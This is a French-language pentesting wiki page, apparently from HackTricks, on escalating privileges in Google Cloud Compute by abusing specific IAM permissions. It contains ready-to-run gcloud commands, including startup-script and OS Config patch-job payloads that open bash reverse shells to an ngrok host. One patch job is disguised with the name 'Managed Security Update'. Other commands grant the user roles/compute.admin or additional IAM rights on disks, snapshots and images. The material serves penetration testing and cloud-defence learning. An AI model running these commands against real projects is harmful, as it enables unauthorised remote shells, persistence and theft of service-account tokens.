# GCP - Compute Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Compute

Pour plus d'informations sur Compute et VPC (réseau) dans GCP, consultez :

{{#ref}}
../../gcp-services/gcp-compute-instances-enum/
{{#endref}}

> [!CAUTION]
> Notez que pour effectuer toutes les attaques d'escalade de privilèges qui nécessitent de modifier les métadonnées de l'instance (comme ajouter de nouveaux utilisateurs et des clés SSH), il est **nécessaire d'avoir des permissions `actAs` sur le SA attaché à l'instance**, même si le SA est déjà attaché !

### `compute.projects.setCommonInstanceMetadata`

Avec cette permission, vous pouvez **modifier** les informations de **métadonnées** d'une **instance** et changer les **clés autorisées d'un utilisateur**, ou **créer** un **nouvel utilisateur avec des** permissions sudo. Par conséquent, vous pourrez exécuter via SSH sur n'importe quelle instance VM et voler le compte de service GCP avec lequel l'instance fonctionne.\
Limitations :

- Notez que les comptes de service GCP fonctionnant dans des instances VM ont par défaut un **champ d'application très limité**
- Vous devrez **pouvoir contacter le serveur SSH** pour vous connecter

Pour plus d'informations sur la façon d'exploiter cette permission, consultez :

{{#ref}}
gcp-add-custom-ssh-metadata.md
{{#endref}}

Vous pouvez également effectuer cette attaque en ajoutant un nouveau script de démarrage et en redémarrant l'instance :
```bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance
```
### `compute.instances.setMetadata`

Cette permission donne les **mêmes privilèges que la permission précédente** mais sur des instances spécifiques au lieu d'un projet entier. Les **mêmes exploits et limitations que pour la section précédente s'appliquent**.

### `compute.instances.setIamPolicy`

Ce type de permission vous permettra de **vous accorder un rôle avec les permissions précédentes** et d'escalader les privilèges en les abusant. Voici un exemple ajoutant `roles/compute.admin` à un compte de service :
```bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
```
### **`compute.instances.osLogin`**

Si **OSLogin est activé dans l'instance**, avec cette permission, vous pouvez simplement exécuter **`gcloud compute ssh [INSTANCE]`** et vous connecter à l'instance. Vous **n'aurez pas de privilèges root** à l'intérieur de l'instance.

> [!TIP]
> Pour vous connecter avec succès avec cette permission à l'intérieur de l'instance VM, vous devez avoir la permission `iam.serviceAccounts.actAs` sur le SA attaché à la VM.

### **`compute.instances.osAdminLogin`**

Si **OSLogin est activé dans l'instance**, avec cette permission, vous pouvez simplement exécuter **`gcloud compute ssh [INSTANCE]`** et vous connecter à l'instance. Vous aurez **des privilèges root** à l'intérieur de l'instance.

> [!TIP]
> Pour vous connecter avec succès avec cette permission à l'intérieur de l'instance VM, vous devez avoir la permission `iam.serviceAccounts.actAs` sur le SA attaché à la VM.

### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`

Il est possible de **créer une machine virtuelle avec un compte de service assigné et de voler le token** du compte de service en accédant aux métadonnées pour élever les privilèges.

Le script d'exploitation pour cette méthode peut être trouvé [ici](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py).

### `osconfig.patchDeployments.create` | `osconfig.patchJobs.exec`

Si vous avez les permissions **`osconfig.patchDeployments.create`** ou **`osconfig.patchJobs.exec`**, vous pouvez créer un [**travail de patch ou un déploiement**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching). Cela vous permettra de vous déplacer latéralement dans l'environnement et d'obtenir une exécution de code sur toutes les instances de calcul au sein d'un projet.

Notez qu'à l'heure actuelle, vous **n'avez pas besoin de la permission `actAs`** sur le SA attaché à l'instance.

Si vous souhaitez exploiter cela manuellement, vous devrez créer soit un [**travail de patch**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **ou** [**un déploiement**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)**.**\
Pour un travail de patch, exécutez :
```python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
```
Pour déployer un déploiement de correctif :
```bash
gcloud compute os-config patch-deployments create <name> ...
```
L'outil [patchy](https://github.com/rek7/patchy) pouvait être utilisé dans le passé pour exploiter cette mauvaise configuration (mais maintenant cela ne fonctionne plus).

**Un attaquant pourrait également en abuser pour la persistance.**

### `compute.machineImages.setIamPolicy`

**Accordez-vous des permissions supplémentaires** pour l'image de calcul.

### `compute.snapshots.setIamPolicy`

**Accordez-vous des permissions supplémentaires** pour un instantané de disque.

### `compute.disks.setIamPolicy`

**Accordez-vous des permissions supplémentaires** pour un disque.

### Contourner les portées d'accès

En suivant ce lien, vous trouverez quelques [**idées pour essayer de contourner les portées d'accès**](../).

### Élévation de privilèges locale dans une instance GCP Compute

{{#ref}}
../gcp-local-privilege-escalation-ssh-pivoting.md
{{#endref}}

## Références

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

{{#include ../../../../banners/hacktricks-training.md}}
